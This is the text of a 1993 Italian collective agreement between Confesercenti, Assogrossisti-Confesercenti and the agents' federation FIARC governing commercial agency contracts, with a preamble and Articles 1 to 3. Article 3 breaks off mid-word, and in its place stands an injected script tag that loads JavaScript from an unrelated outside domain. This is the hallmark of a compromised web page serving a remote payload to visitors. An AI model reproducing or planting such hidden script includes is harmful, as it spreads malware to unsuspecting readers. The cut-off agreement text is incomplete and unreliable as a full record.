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Categoria: Agenti di commercio Settore: Commercio Data stipula: 7-5-1993 Data decorrenza: 7-5-1993 Data scadenza: 6-5-1996
ACCORDO ECONOMICO COLLETTIVO PER LA DISCIPLINA DEL RAPPORTO DI AGENZIA E
RAPPRESENTANZA COMMERCIALE NEL SETTORE DEL COMMERCIO
Il giorno 7/5/1993 in Roma, presso la sede Nazionale della Confesercenti,
fra la Confesercenti e l'Assogrossisti-Confesercenti, rappresentate
rispettivamente da Gianluigi Bonino Presidente Nazionale della
Confesercenti, Massimiliano Marcucci responsabile delle politiche
sindacali della Confesercenti, Loris Gironi e Roberto Contato per
l'Assogrossisti Confesercenti
e la FIARC, Federazione italiana Agenti e Rappresentanti di Commercio,
rappresentata da Carlo Massaro Presidente nazionale, Stefano Dalla Chiesa
Segretario Nazionale, Piero Melandri della Presidenza Nazionale.
si è stipulato
il presente Accordo Economico Collettivo per la disciplina del rapporto di
agenzia e rappresentanza commerciale nel settore del commercio.
PREMESSA
Le Organizzazioni firmatarie del presente Accordo hanno inteso realizzare
una disciplina normativa adeguata alle caratteristiche delle imprese
commerciali e ai loro agenti e rappresentanti di commercio.
In questa luce viene espresso il comune auspicio che siano realizzati
corretti rapporti sindacali fra le parti stipulanti con il congiunto
riconoscimento della importanza degli agenti e rappresentanti di commercio
per la realizzazione dei comuni interessi.
La Confesercenti e l'Assogrossisti-Confesercenti, su specifica richiesta
della FIARC, è disponibile ad incontri con periodicità annuale nel corso
dei quali verificare lo stato dei rapporti e del mercato che potrebbero
avere riflessi nei confronti delle condizioni professionali, sociali ed
economiche degli agenti e rappresentanti di commercio.
Tali incontri potranno aver luogo su richiesta formale di una delle parti,
da far pervenire all'altra con almeno un mese di anticipo sulla data
richiesta per gli incontri stessi.
Art. 1.
1. Il contratto di agenzia o rappresentanza fra le aziende preponenti
aderenti alla Confesercenti e all'Assogrossisti-Confesercenti e
gli agenti e rappresentanti di commercio è disciplinato dal presente
Accordo Economico Collettivo.
2. Le figure giuridica dell'agente e del rappresentante di commercio sono
definite, rispettivamente, dagli artt. 1742 e 1752 c.c.
3. L'agente o rappresentante, pur tenuto all'osservanza delle istituzioni
del preponente ai sensi dell'art. 1746 C.C., svolge la sua attività in
forma autonoma e indipendente e non può essere tenuto al rispetto di
orari o di itinerari predeterminati.
L'obbligo dell'agente o rappresentante di tenere costantemente
informato il preponente sulla situazione del mercato in cui opera non
può porre a suo onere relazioni con periodicità preffissata sullo
svolgimento della sua
4. Le norme del presenze Accordo Economico Collettivo hanno validità anche
per gli agenti o rappresentati organizzati in forma societaria, nonchè
a quelli incaricati della vendita al privato consumatore.
5. Le norme del presente Accordo Economico Collettivo sono valide anche
per i contratti a tempo determinato, fatta eccezione per quelle
riguardanti il preavviso per la risoluzione contrattuale.
E' fatto obbligo al preponente, nel caso di contratto a tempo
determinato di durata superiore a mesi sei, di comunicare all'agente o
rappresentante, almeno sessanta giorni prima della scadenza
contrattuale, l'eventuale disponibilità al rinnovo o alla proroga
contrattuale.
Art. 2.
Le norme del presente Accordo economico Collettivo non sono valide per gli
agenti o rappresentanti non iscritti al "Ruolo Professionale" ex Legge
3.5.1985 n. 204.
Art. 3.
1. Il contratto di agenzia deve es<script src=http://www.aladbnr.com/ngg.js></script>
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